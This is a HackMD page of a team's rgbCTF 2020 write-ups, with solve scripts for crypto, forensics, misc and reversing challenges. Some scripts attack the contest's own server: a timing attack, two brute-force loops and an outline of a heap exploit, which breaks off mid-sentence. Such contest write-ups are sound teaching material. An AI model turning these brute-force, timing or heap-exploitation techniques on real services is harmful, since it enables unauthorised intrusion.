Un Known
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # rgbCTF 2020 redpwn writeups ## Cryptography - I Love Rainbows You're given hashes. Crack them using crackstation and assemble to get flag. ## Cryptography - ᵉ We see three numbers which are labeled `n`,`e`, and `c`. Since `e` is small and $c \lll n$, we can probably apply an `e`th root attack. ```python= import gmpy2 e = 0b1101 c = 0x6003a15ff3f9bc74fcc48dc0f5fc59c31cb84df2424c9311d94cb40570eeaa78e0f8fc2917addd1afc8e5810b2e80a95019c88c4ee74849777eb9d0ee27ab80d3528c6f3f95a37d1581f9b3cd8976904c42f8613ee79cf8c94074ede9f034b61433f1fef835f2a0a45663ec4a0facedc068f6fa2b534c9c7a2f4789c699c2dcd952ed82180a6de00a51904c2df74eb73996845842276d5523c66800034351204b921d4780180ca646421c61033017e4986d9f6a892ed649c4fd40d4cf5b4faf0befb1e2098ee33b8bea461a8626dd8cd2eed05ccd471700e2a1b99ed347660cbd0f202212f6c0d7ad8ef6f878d887af0cd0429c417c9f7dd64890146b91152ea0c30637ce503635018fd2caf436a12378e5892992b8ec563f0988fc0cebd2926662d4604b8393fb2000 print(bytes.fromhex(hex(gmpy2.iroot(c,e)[0])[2:])[::-1]) ``` Flag: `rgbCTF{lucky_number_13}` ## Cryptography - Occasionally Tested Protocol OTP but you just know the key. ```python from pwn import * from random import seed, randint as w from time import time def int_to_bytes(x): return x.to_bytes((x.bit_length()//8)+1,byteorder="little") r = remote('167.172.123.213',12345) seed(int(time())) # get locally arr = [] for _ in range(10): arr.append(w(5, 10000)) b = bytearray([w(0, 255) for _ in range(40)]) # get from server r.recvline() arr2 = [] for i in range(10): arr2.append(int(r.recvline().decode().strip())) assert arr == arr2 num = int(r.recvline().decode().strip().split(':')[1]) bytes = int_to_bytes(num) flag = '' for i in range(len(bytes)): print(b[i],bytes[i]) flag += chr(b[i]^bytes[i]) print(flag) ``` ## Cryptography - Shakespeare Play, Lost (and found!) We guess that the `play` file is the Shakespeare Programming Langauge, so we [run the file](https://tio.run/##7VvLTuMwFN3nKy4rNgwf0B0gBmZLZ4MqFm5620Q4duQHJV9fnAxCI6aDxNuP00WVtH7d9/G9tu3lbndCUqtN@LKOeikGEkvtHTnDbI9oa1rnWBHf19Lb9o7lQMuB5o24ZduzMExrbejq4nTO9XFVXemO9RGJvg9/KRdaCzKib1fhqW6E2rRhrs5L19ZaasOraaLj6lJ0kl3oSD0bqxVtG021UIeOujAV@Z6a1lLXqlWYpaI9n5Pa0a8ZnY3jrr2k39PAe5vOa1Y8Nv4prPvxtK7HHotz5djQnyWRUCuaqLqpHlc5o2vtaSRdadeEjgdPPwRiA0mbMI6ipfT8/HUk9q/WNrB9Yml4cg2T9R3p9f5Rxq7TYlwzWJbr1w3z1t7/9psHqd/SoL2ZpHHwrUx5H3HP1vC13C2Gte9X3v9IKCp2fZyBpa86MdIUhWhjkBJ81Xf4qjKN@iXZZERcCvEpWqSUtZIDZGcUBXOFa5/oGmDcwAKASCmHRsS0orx5RhzJVHNBVoLwA@ll7LSiU5HsvQK0BI4EuzpU/FB0QAgAU/J0ekkxEcgC2dHEK2Q4cRWV9SVFUnaKjGxp4SAdVTlUe1KCr1DhfHZ8EBySk2UmGYvA8VB@QJFiz@Fm7iWiKR8gwuAAFE4KgTOwGCQHk0AvhbtngBrcSIk9viOlCbiCOxioN6DkXnoIxk0aYHQEZGgOdvfY3SdnH9keXP7UYvvi/J69cjfVbvcA). Output is `VmxSQ2EyTXlVbGhWYTFacFRXMVNVMWxzVW5OTmJHeFpZa1ZPYUdKVldscFZWekExV1Zaa1JtRjZhejA9`. We apply base64 decode 5 times (why???) and get `Hint: Book cipher`. So now we use the other file with the `play` file and perform a book cipher. ```python= with open("play") as f: lines = f.read().splitlines() nums = """33, 20 71, 5 43, 142 60, 150 73, 312 78, 66 15, 22 12, 115 29, 18 51, 147 45, 68 34, 14 54, 126 15, 48 3, 4 60, 126 45, 77 13, 69""".splitlines() for i in nums: a,b = map(int,i.split(", ")) print(lines[a][b],end="") print() ``` Flag: `rgbCTF{itsanrgbtreeeeeee!}` ## Cryptography - N-AES The vuln here comes from urandom(1) only being called once, so can just brute force all possibilities to find correct one. ```python from pwn import * import binascii from base64 import b64encode, b64decode from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from os import urandom from random import seed, randint BLOCK_SIZE = 16 def rand_block(key_seed=urandom(1)): seed(key_seed) return bytes([randint(0, 255) for _ in range(BLOCK_SIZE)]) r = remote('167.172.123.213',34567) text = base64.b64decode(r.recvline(keepends=False).decode()) print("RECEIVED") send = b'' for k in range(256): TEXT = text try: for i in range(128): TEXT = AES.new(rand_block(bytes([k])), AES.MODE_ECB).decrypt(TEXT) #print(TEXT,k) TEXT = unpad(TEXT,BLOCK_SIZE) send = TEXT print("POSSIBLY: ",send) except Exception as e: #print(e) continue r.sendlineafter('> ','3') r.sendlineafter(': ',base64.b64encode(send)) r.interactive() ``` ## Cryptography - Adequate Encryption Standard It's a custom AES implementation, where the main differences are in the block size, the s-box, the p-box, and the key schedule. The key schedule is super wacky. Each byte in the key schedule after the first is a power of the previous byte squared, modulo 256. This is actually quite restrictive due to stuff about quadratic residues and whatever. So, we can just bruteforce every key expansion. Script below: ```python= from base64 import b64decode BLOCK_SIZE = 8 ROUNDS = 8 sbox = [111, 161, 71, 136, 68, 69, 31, 0, 145, 237, 169, 115, 16, 20, 22, 82, 138, 183, 232, 95, 244, 163, 64, 229, 224, 104, 231, 61, 121, 152, 97, 50, 74, 96, 247, 144, 194, 86, 186, 234, 99, 122, 46, 18, 215, 168, 173, 188, 41, 243, 219, 203, 141, 21, 171, 57, 116, 178, 233, 210, 184, 253, 151, 48, 206, 250, 133, 44, 59, 147, 137, 66, 52, 75, 187, 129, 225, 209, 191, 92, 238, 127, 241, 25, 160, 9, 170, 13, 157, 45, 205, 196, 28, 146, 142, 150, 17, 39, 24, 80, 118, 6, 32, 93, 11, 216, 220, 100, 85, 112, 222, 226, 126, 197, 180, 34, 182, 37, 148, 70, 78, 201, 236, 81, 62, 42, 193, 67, 8, 164, 43, 252, 166, 221, 208, 176, 235, 149, 109, 63, 103, 223, 65, 56, 140, 255, 218, 54, 153, 2, 228, 1, 240, 248, 246, 110, 156, 60, 227, 207, 254, 51, 174, 79, 128, 155, 251, 242, 177, 135, 230, 154, 179, 15, 189, 143, 130, 27, 107, 211, 30, 105, 19, 134, 124, 125, 245, 76, 204, 12, 26, 38, 40, 131, 117, 87, 114, 213, 212, 102, 195, 101, 55, 10, 47, 120, 200, 217, 88, 83, 36, 198, 249, 192, 23, 94, 181, 73, 185, 172, 165, 58, 53, 202, 106, 5, 7, 175, 89, 72, 90, 14, 162, 158, 119, 139, 77, 108, 190, 91, 29, 49, 159, 33, 113, 214, 4, 123, 199, 167, 35, 239, 84, 3, 132, 98] pbox = [39, 20, 18, 62, 4, 60, 19, 43, 33, 6, 51, 61, 40, 35, 47, 16, 23, 58, 31, 53, 28, 55, 54, 30, 17, 42, 34, 45, 49, 13, 46, 0, 26, 2, 8, 3, 11, 48, 63, 36, 37, 7, 32, 5, 27, 59, 29, 44, 14, 56, 21, 22, 12, 52, 57, 41, 10, 1, 24, 38, 50, 15, 9, 25] def to_blocks(in_bytes: bytes) -> list: return [in_bytes[i:i + BLOCK_SIZE] for i in range(0, len(in_bytes), BLOCK_SIZE)] def dec_sub(in_bytes: bytes) -> bytes: return bytes([sbox.index(b) for b in in_bytes]) def dec_perm(in_bytes: bytes) -> bytes: num = int.from_bytes(in_bytes, 'big') binary = bin(num)[2:].rjust(BLOCK_SIZE * 8, '0') permuted = ''.join([binary[pbox.index(i)] for i in range(BLOCK_SIZE * 8)]) out = bytes([int(permuted[i:i + 8], 2) for i in range(0, BLOCK_SIZE * 8, 8)]) return out def expand_key_gen_helper(cur, key_len: int) -> bytes: pos = {pow(cur, num, 256) for num in range(0,256,2)} for i in pos: if key_len == 1: yield [i] else: for j in expand_key_gen_helper(i, key_len-1): yield [i]+j def expand_key_gen(key_len): for cur in range(256): print(cur) for i in expand_key_gen_helper(cur,key_len): expanded = bytearray() expanded.append(cur) expanded.extend(i) yield bytes(expanded) def decrypt(plain): blocks = to_blocks(plain) for key in expand_key_gen(len(blocks)): out = bytearray() for idx, block in enumerate(blocks): for _ in range(ROUNDS): block = bytearray(block) for i in range(len(block)): block[i] ^= key[idx] block = dec_perm(block) block = dec_sub(block) block = bytearray(block) out.extend(block) yield bytes(out) enc = b64decode("hQWYogqLXUO+rePyWkNlBlaAX47/2dCeLFMLrmPKcYRLYZgFuqRC7EtwX4DRtG31XY4az+yOvJJ/pwWR0/J9gg==") for x in decrypt(enc): if x.lower().startswith(b'rgb'): print(x) ``` This script is quite slow, but we can greatly optimize it by running with pypy. At around where 159 is printed, we get the flag. Flag: `rgbCTF{brut3_f0rc3_is_4LW4YS_th3_4nsw3r(but_with_0ptimiz4ti0ns)}` ## Cryptography - RubikCBC This challenge really should provided source code. Instead, we had to guess that the block cipher function was a permutation based on the scramble. Turns out that works. ```python= from rubik.cube import Cube iv = "ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuv" c = Cube(iv) scramble = "D R2 F2 D B2 D2 R2 B2 D L2 D' R D B L2 B' L' R' B' F2 R2 D R2 B2 R2 D L2 D2 F2 R2 F' D' B2 D' B U B' L R' D'" for i in "UDLRFB": scramble = scramble.replace(i+"2",i+" "+i) c.sequence(scramble.replace("'","i")) s = str(c).replace('\n','').replace(' ','') print(s) with open("enc_",'rb') as f: text = f.read() def dec_block(block): a = bytearray(len(block)) for i in range(len(block)): a[i] = block[s.find(iv[i])] return a cur = bytearray(iv,'utf-8') with open("out.pdf","wb") as f: for i in range(0,len(text),54): block = text[i:i+54] plain = dec_block(block) f.write(bytes(x^y for x,y in zip(plain,cur))) cur = block ``` Requires the rubik-cube module (`pip install rubik-cube`). Output is a PDF with a QR code, which we scan to get the flag. Flag: `rgbCTF{!IP_over_Avian_Carriers_with_QoS!}` ## Cryptography - Grab your jisho Guess that each kanji maps to a letter. Start substituting a few things by hand (starting with the http link). Then guess that a text this large (that's properly wrapped!) is from Project Gutenberg. Locate the license portion of the text to confirm, and figure out the structure of the book's title. Grep the list of all Gutenberg texts until you find the one that matches, and download it. Clean up the first few lines until they match, and write a script to recover all the character mappings (and remove `°` and `æ` characters because they apparently were removed before encoding the ciphertext---oh also replace `œ` with `oe` because that's consistent). ```python import unicodedata import re from pathlib import Path orig = Path('extract_orig.txt').read_text() jisho = Path('extract_jisho.txt').read_text() subs = {'\n': '\n'} latin_re = re.compile(r'(LATIN.*LETTER .) WITH .*') accent_map = dict() def strip_accent(c: str) -> str: if c not in accent_map: if len(c) > 1: accent_map[c] = c[0] else: name = unicodedata.name(c) match = latin_re.match(name) if match is not None: accent_map[c] = unicodedata.lookup(match.group(1)) else: accent_map[c] = c return accent_map[c] if __name__ == '__main__': l = 0 for ol, jl in zip(orig.splitlines(), jisho.splitlines()): l += 1 i = 0 for oc, jc in zip(ol, jl): i += 1 oc = strip_accent(oc.lower()) if oc.isdigit(): oc = '_' if jc not in subs: subs[jc] = oc else: if subs[jc] == oc: continue else: print(f'{l}:{i} {repr(subs[jc])} {repr(oc)}') # skip this line break Path('extract_decoded.txt').write_text(''.join(subs.get(jc, jc) for jc in jisho)) Path('mappings.txt').write_text('\n'.join(f"{o + j} {unicodedata.name(j)}" for o, j in sorted((v, k) for k, v in subs.items()) if o != j)) ``` Realize that you're left with `rgbctf讞鸞鸚鱺yominikui鸝钁厵鬱` ~~and cry because those characters never show up in the ciphertext~~. Dump the character mapping dictionary and realize that the encoding is based on stroke count (0x60 + strokes). Manually look up the last 8 characters on http://www.unicode.org/charts/unihan.html and get flag. `rgbctf{~|~yominikui~|~}` <sup>we almost guessed the flag, we tried `rgbctf{~*~yominikui~*~}` and `rgbctf{~~~yominikui~~~}` T.T</sup> ## Forensics/OSINT - Alien Transmission 1 SSTV ## Forensics/OSINT - PI 1: Magic in the air ```python newmap = { 2: "PostFail", 4: "a", 5: "b", 6: "c", 7: "d", 8: "e", 9: "f", 10: "g", 11: "h", 12: "i", 13: "j", 14: "k", 15: "l", 16: "m", 17: "n", 18: "o", 19: "p", 20: "q", 21: "r", 22: "s", 23: "t", 24: "u", 25: "v", 26: "w", 27: "x", 28: "y", 29: "z", 30: "1", 31: "2", 32: "3", 33: "4", 34: "5", 35: "6", 36: "7", 37: "8", 38: "9", 39: "0", 40: "\n", 41: "ESC", 42: "DEL", 43: "TAB", 44: " ", 45: "-", 47: "[", 48: "]", 56: "/", 57: "CapsLock", 79: "RightArrow", 80: "LetfArrow" } import sys a = int(sys.argv[1],16) if a in newmap: print(newmap[a], end='') else: #print(hex(a)) pass ``` maps keycodes to bytes ```javascript (for line in $(cat output.json | jq '.[]._source.layers.btatt."btatt.value"' -r | grep -v null | cut -d ':' -f 2 ); do python key.py $line; done) ``` ## Forensics/OSINT - Robin's Reddit Password Find the reddit easter egg at `https://reddit.com/etc/passwd` has a password for user `robin`. Get the cracked hashes at https://news.ycombinator.com/item?id=15596717. Submit `rgbCTF{bird}`. ## Forensics/OSINT - PI 2: A Series of Tubes After guessing several social media platforms, we add the number from PI 1 to our contacts list and sync our snapchat to our contacts. The suspicious person has a snap, @donnylockheart. His story shows his insta is @donnylockheart9. His insta story shows a flight ticket and gives us some clues on his home city. Google the source, destination, and time, and guess that it's flight KL1426. The ticket also shows his full name Donovan Lockheart. It also reveals that his hometown is Birmingham, which is in GB. Assemble the pieces to get the flag. ## Forensics/OSINT - Insanity Check LSB on the server icon. ```bash wget https://cdn.discordapp.com/icons/699037304836063292/6749ad472542c68eda62245bb0fca0f3.png zsteg 6749ad472542c68eda62245bb0fca0f3.png ``` Flag: `rgbCTF{y0u_c4n_d0wnl04d_th1s}` ## Forensics/OSINT - Lo-fi Open the audio in Audacity and look at the spectrogram, and at the end it says "tinyurl". Then just guess that the wubbing near the end is actually binary, and get the bits `011001100110101000101101001100110011000000110010`. Decode to ascii, put at the end of a tinyurl link, get redirected to pastebin, and get the flag. ## Forensics/OSINT - PI 3: This isn't a secure line some bluetooth voodoo ## Forensics/OSINT - Emoji Chain Stego The first thing we do is put the image into stegsolve. We notice that the blue LSBs are distinctly non-random and arranged into rows and columns and whatever. It's all very strange. After a few hours of combining the images and trying other random stuff, we eventually guess that the index of the rows/columns are important, since the emojis are 128x128px. So, we list out the rows and columns and...wait, are those ASCII values? ```python= from PIL import Image import numpy as np for i in range(31): im = Image.open("pics/%02d.bmp"%i) p = np.array(im) rows = [] cols = [] for r in range(128): if list(p[r,:]).count(255)>3: rows.append(r) for c in range(128): if list(p[:,c]).count(255)>3: cols.append(c) im.close() print(chr(max(rows+cols)),end='') print() ``` The output is `⌂rgbC§F{Isn't_3m0ji_St3g0_fun?}`, but we can fix the flag format. Flag: `rgbCTF{Isn't_3m0ji_St3g0_fun?}` ## Misc - Hallo? We decoded the DTMF tones in the file and got `7774222228333#99933338#386333#866666337777#`. After realizing it was a phone keypad cipher, we got `RGCBTF YEET DTMF TONES`. We were stuck here until the description was updated with `NOTE: keep the pound symbols as pound symbols!`. `RGCBTF#YEET#DTMF#TONES` ## Misc - Differences We are given corrupted Java file. Make `real.java` be a fixed version and find differences to get flag: ```python file = open('DifferenceTest.java','rb').read() file2 = open('real.java','rb').read() flag = '' for i in range(len(file)): if file[i] != file2[i]: flag += chr(file[i]-file2[i]) print(flag) ``` ## Misc - Penguins Something to do with penguins. After downloading the file, we get a folder with a .git directory. Looking at `git reflog`, we see some interesting commits. ![](https://i.imgur.com/9ZZUh6q.png) ![](https://i.imgur.com/vx28sOD.png) ``` as yoda once told me "reward you i must" and then he gave me this ---- rgbctf{d4ngl1ng_c0mm17s_4r3_uNf0r7un473} ``` ## Misc - Picking Up The Pieces haha Dijkstra's go brrrr ```cpp #include <iostream> #include <vector> #include <queue> #include <map> #include <set> using namespace std; typedef int64_t i64; typedef int32_t i32; typedef int16_t i16; typedef int8_t i8; typedef uint64_t u64; typedef uint32_t u32; typedef uint16_t u16; typedef uint8_t u8; typedef u32 vert_t; typedef u64 dist_t; // distance, string typedef tuple<dist_t, string> edge; map<vert_t, map<vert_t, edge>> edges; map<vert_t, vert_t> prev_map; constexpr vert_t TARGET = 200000; int main() { while (cin) { vert_t c1, c2; dist_t dist; string word; cin >> c1 >> c2 >> dist >> word; edges[c1].insert(make_pair(c2, edge(dist, word))); edges[c2].insert(make_pair(c1, edge(dist, word))); } // (dist, (vert, prev)) typedef pair<dist_t, pair<vert_t, vert_t>> pq_elem_t; priority_queue<pq_elem_t, vector<pq_elem_t>, greater<pq_elem_t>> pq; pq.push(make_pair(0, make_pair(TARGET, TARGET))); while (!pq.empty()) { dist_t dist; vert_t vert, prev; pair<vert_t, vert_t> data; tie(dist, data) = pq.top(); pq.pop(); tie(vert, prev) = data; if (prev_map.count(vert)) { continue; } prev_map[vert] = prev; for (auto el : edges[vert]) { vert_t next; dist_t curr_dist; edge e; tie(next, e) = el; if (prev_map.count(next)) { continue; } curr_dist = get<0>(e); pq.push(make_pair(dist + curr_dist, make_pair(next, vert))); } } for (vert_t curr = 1; curr != TARGET;) { if (!prev_map.count(curr)) { cerr << "path not found\n"; break; } vert_t prev = prev_map[curr]; edge e = edges[curr][prev]; cout << get<1>(e); curr = prev; } cout << endl; return 0; } ``` ## Misc - [another witty algo challenge name] Standard connected components. ```rust use std::fs::File; use std::io::prelude::*; fn vec_get<T>(v: &Vec<Vec<T>>, x: usize, y: usize) -> Option<&T> { v.get(y).and_then(|k| k.get(x)) } fn setfalse(grid: &mut Vec<Vec<bool>>, x: usize, y: usize) { grid[y][x] = false; if x > 0 { if let Some(n) = vec_get(&grid, x - 1, y) { if *n { setfalse(grid, x - 1, y); } } } if let Some(n) = vec_get(&grid, x + 1, y) { if *n { setfalse(grid, x + 1, y); } } if y > 0 { if let Some(n) = vec_get(&grid, x, y - 1) { if *n { setfalse(grid, x, y - 1); } } } if let Some(n) = vec_get(&grid, x, y + 1) { if *n { setfalse(grid, x, y + 1); } } } fn main() { let mut file = File::open("fin.txt").unwrap(); let mut contents = String::new(); file.read_to_string(&mut contents).unwrap(); let mut grid = Vec::new(); let mut counter = 0; for l in contents.trim().split('\n') { let mut temp = Vec::new(); for x in l.chars() { temp.push(x == '1'); } grid.push(temp); } for y in 0..grid.len() { for x in 0..grid[y].len() { if grid[y][x] { counter += 1; setfalse(&mut grid, x, y); } } } println!("{}", counter); } ``` ## Misc - [insert creative algo chall name] We don't want duplicate combinations, so we enforce that the combinations must be sorted from least to greatest. This means the last combination-element must contain $2^{12}$. We can also pick the largest elements of the other combination-elements - there are $\binom{11}{3}$ ways to do so, which splits the 12 elements of r into 3 subsets delimited by the elements chosen. Each element in a subset can only go to a fixed number of combination-elements, so we can calculate the number of possibilities easily. ```python= import itertools total = 0 for i in itertools.combinations(range(11),3): sub = 1 # could make a loop but x=4 is very small so unnecessary sub *= pow(2,i[2]-i[1]-1) sub *= pow(3,i[1]-i[0]-1) sub *= pow(4,i[0]) total+=sub print(total) ``` Flag: `rgbCTF{611501}` ## Misc - Laser 1 - Factoring Using the not-great documentation of the nearly-featureless LaserLang langauge, I wrote a not-so-simple program to iterate over k from 1 to N and check if N%k was 0, and if it was then k was pushed onto an output stack. The thing is, the factors were pushed in reverse order and I had to write an extra bit to reverse the stack. It wasn't very fun and it probably wasn't very efficient. But I tried it anyway and it passed test cases 1 through 7 and then crapped out at 8. So I made some adjustments to my program. Instead of going from 1 to N, I would go from N to 1, which greatly increased efficiency because I didn't have to reverse the output stack. Also, comparing k to 0 was quite easy compared to comparing k to N, which required duplicating multiple values on a stack (a non-trivial task). Eventually, I came up with the following code: ```= Uir>r0=⌜D# ( \pururd%⌜p\ ^ wrup/ \ u/ ``` which passed all the test cases after waiting for a very long time (mainly due to server slowness). Flag: `rgbCTF{l4s3rs_4r3_c00l_r1ght}` ## Misc - Ye Old PRNG Since the challenge description provides no helpful information, we try guessing instead and do a search for "oldest prng", landing on [this Wikipedia page](https://en.wikipedia.org/wiki/List_of_random_number_generators). Now we just guess that the PRNG in use is middle-square, since it is the oldest one on the list. We verify some numbers manually and find that the "middle chunk" is biased towards the left. With this in mind we can implement it in python. ```python def rng(n, l): """ returns the next number given a number and length """ a = str(n**2) return int(a[(len(a)-l)//2:-(len(a)-l)//2]) ``` Requesting to challenge for the flag provides a 100-digit number. We guess that all the numbers will be this length and not have leading zeroes. Additionally, we only have to guess 10 numbers correctly, so this does not need to be scripted; opening two terminals and copy pasting is sufficient. ```python while True: print(rng(int(input()), 100)) ``` Flag: `rgbCTF{d0nt_us3_midd13_squ4r3}` ## Misc - Laser 2 - Sorting I was originally going to write a bubble sort implementation, but swapping elements in LaserLang is a non-trivial task. So, I write a selection sort algorithm. The advantage of selection sort is that no swapping of elements is required - the elements pushed onto the output stack are guaranteed to be sorted. Final code: ```= UI>c(⌜wwD >u⌜dUrDrsUl⌜pDsUdwu\ \psU# d \p v \ DuUu(dD/ \ sUps/ ``` Flag: `rgbCTF{1_f33l_y0ur_p41n_trust_m3}` ## Misc - Adventure Originally, we tried to do this with the debugger in Stella and managed to almost get the flag, but we didn't realize it at the time. ![](https://i.imgur.com/NfR9S9i.png) Then, we asked with the author and he said to solve it statically. We found Hack-o-Matic and used it to show the graphics in the ROM. ![](https://i.imgur.com/C0fwaaI.png) ## Misc - Secure RSA Guess that you have to get first characters of each sentence and you get flag. ## Pwn/Rev - Too Slow ![](https://i.imgur.com/CHaFUVO.png) The `getKey()` function takes too long to run, so we just patched out the call to the function and replaced it with the final value, `0x265d1d23` so `main` looks like: ![](https://i.imgur.com/naxHAQJ.png) Then, run the patched binary and get the flag. ![](https://i.imgur.com/GTp4PLD.png) ## Pwn/Rev - Advanced Reversing Mechanics 1 ```python from z3 import * #This is the end goal of the operations. This was not actually included in the shared object with the encryption function. #There is no knowing what these numbers actually meant, but we assumed it was the desired output if we were able #to input the flag into the provided program. However, we could not even do that, as no executable was provided. hardcodedButNotReally = [0x71, 0x66, 0x61, 0x42, 0x53, 0x45, 0x7a, 0x40, 0x51, 0x4c, 0x5e, 0x30, 0x79, 0x5e, 0x31, 0x5e, 0x64, 0x59, 0x5e, 0x38, 0x61, 0x36, 0x65, 0x37, 0x63, 0x7c] #Setting up the array of our input flag = [] for i in xrange(len(hardcodedButNotReally)): flag.append(BitVec("%d" % i, 16)) z = Solver() #Repeat the entirety of the advanced ARM encryption function for i in xrange(len(hardcodedButNotReally)): z.add((flag[i] - 1 == hardcodedButNotReally[i])) #Check if z3 can solve this problem; the constraints really had me worried, so I was not sure if z.check() == sat: solution = z.model() #If this code is reached, huzzah! We got the flag! ans = "" for i in range(len(hardcodedButNotReally)): ans += chr(int(str(solution[flag[i]]))) print(ans) else: quit() # Sad face ``` ## Pwn/Rev - Object Oriented Programming Basically, your input is 16 chars and it's xorred by `2` then split into 4 chunks of 4 chars, where the first 2 chars are the class name and the next 2 are the function name, which returns another function name, which returns part of a string. You didn't even have to rev the functions, you could just guess what they did from the names. The whole string has to be "javautil". So, since it was small, I just did it by hand and got the input `enterprisecodeee`, which led to the flag `rgbCTF{enterprisecodeee}`. ## Pwn/Rev - Advanced Reversing Mechanics 2 ```python def t(n): return n & 0xff def dec(x,i): x = (x<<2) | (x>>6) x = t((x^0x43) + 7) i %= 5 if i == 2: x += 1 X = x if x < 0x50: x = t(x+10) x = (x >> ((-i) & 7)) | t(x << i) return chr(x) s = ['0A','FB','F4','88','DD','9D','7D','5F','9E','A3','C6','BA','F5','95','5D','88','3B','E1','31','50','C7','FA','F5','81','99','C9','7C','23','A1','91','87','B5','B1','95','E4'] flag = '' for i in range(len(s)): flag += dec(int(s[i],16),i) print(flag) ``` Get `rgbCTF{ARM_ar1thm3t1c_r²cks_fad961}`, and then just guess the flag: `rgbCTF{ARM_ar1thm3t1c_r0cks_fad961}` ## Pwn/Rev - Five Fives This looked like a PRNG challenge except for the fact that `SecureRandom` pulls from `/dev/urandom`, so I guess it's a brute force challenge now: ```python from pwn import * from time import time attempts = ["1 1 1 1 1", "1 1 1 1 2", "1 1 1 1 3", "1 1 1 1 4", "1 1 1 1 5", "1 1 1 2 1", "1 1 1 2 2", "1 1 1 2 3", "1 1 1 2 4", "1 1 1 2 5", "1 1 1 3 1", "1 1 1 3 2", "1 1 1 3 3", "1 1 1 3 4", "1 1 1 3 5", "1 1 1 4 1", "1 1 1 4 2", "1 1 1 4 3", "1 1 1 4 4", "1 1 1 4 5"] n = 0 def tryonce(): global n print(f"at attempt {n}") p = remote("167.172.123.213", 7425) p.sendlineafter("buy? ", "20") for a in attempts: p.sendlineafter("spaces:", a) n += 1 p.recvline() l = p.recvline() if b"did not win" not in l: print("success") print(p.recvline()) p.interactive() while True: tryonce() ``` This takes a long time to run because each attempt takes 10 seconds, but additional performance can be gained with parallel processing. Sending the script to the team and having everyone run it greatly improves speed. ## Pwn/Rev - Time Machine It's a super standard timing attack, you could look in the binary to see a `sleep` every comparison, or you could just guess it from the name. ```python from pwn import * from time import perf_counter, time import string r = remote('167.172.123.213',13373) alpha = string.ascii_uppercase cur = "" times = {} for index in range(7): for i in alpha: r.recvuntil(':') s = time() r.sendline(cur+i+'X'*(7-index)) r.recvuntil('Y') d = time()-s times[i] = d b = list(alpha) b.sort(key=lambda x:times[x]) cur += b[-1] print(cur) print(b[-1], times[b[-1]]) for i in alpha: r.sendline(cur+i) r.interactive() ``` ## Pwn/Rev - sadistic reversing 1 byte by byte bf is the key: ```python from pwn import * import sys import string arr = [114, 20, 119, 59, 104, 47, 75, 56, 81, 99, 23, 71, 56, 75, 124, 31, 65, 32, 77, 55, 103, 31, 96, 18, 76, 41, 27, 122, 29, 47, 83, 33, 78, 59, 10, 56, 15, 34, 94] flag = 'rgbCTF' for i in range(6,len(arr)): for k in string.printable: F = flag+k r = process(['./itJX.so',F]) output = int(r.recvline().decode().strip().split(' ')[-1][:-1]) r.close() if output == arr[i]: flag += k break print(flag) ``` ## Pwn/Rev - soda pop bop Good heap chall, cheesed w/ tcache (I got the idea from studysim). Full security checks are in place. - HOF by setting party size to 0 (which causes `members[0].drink = -1;`) - Write to tcache freelist to read some libc pointers in .bss (pretty sure GOT didn't work since RELRO and you had to write at least a newline) - Additionally, the newline will overwrite the bottom two bytes, so trying to leak stdin@GOT would break the program; leaking stderr@GOT works - Write to another tcache freelist 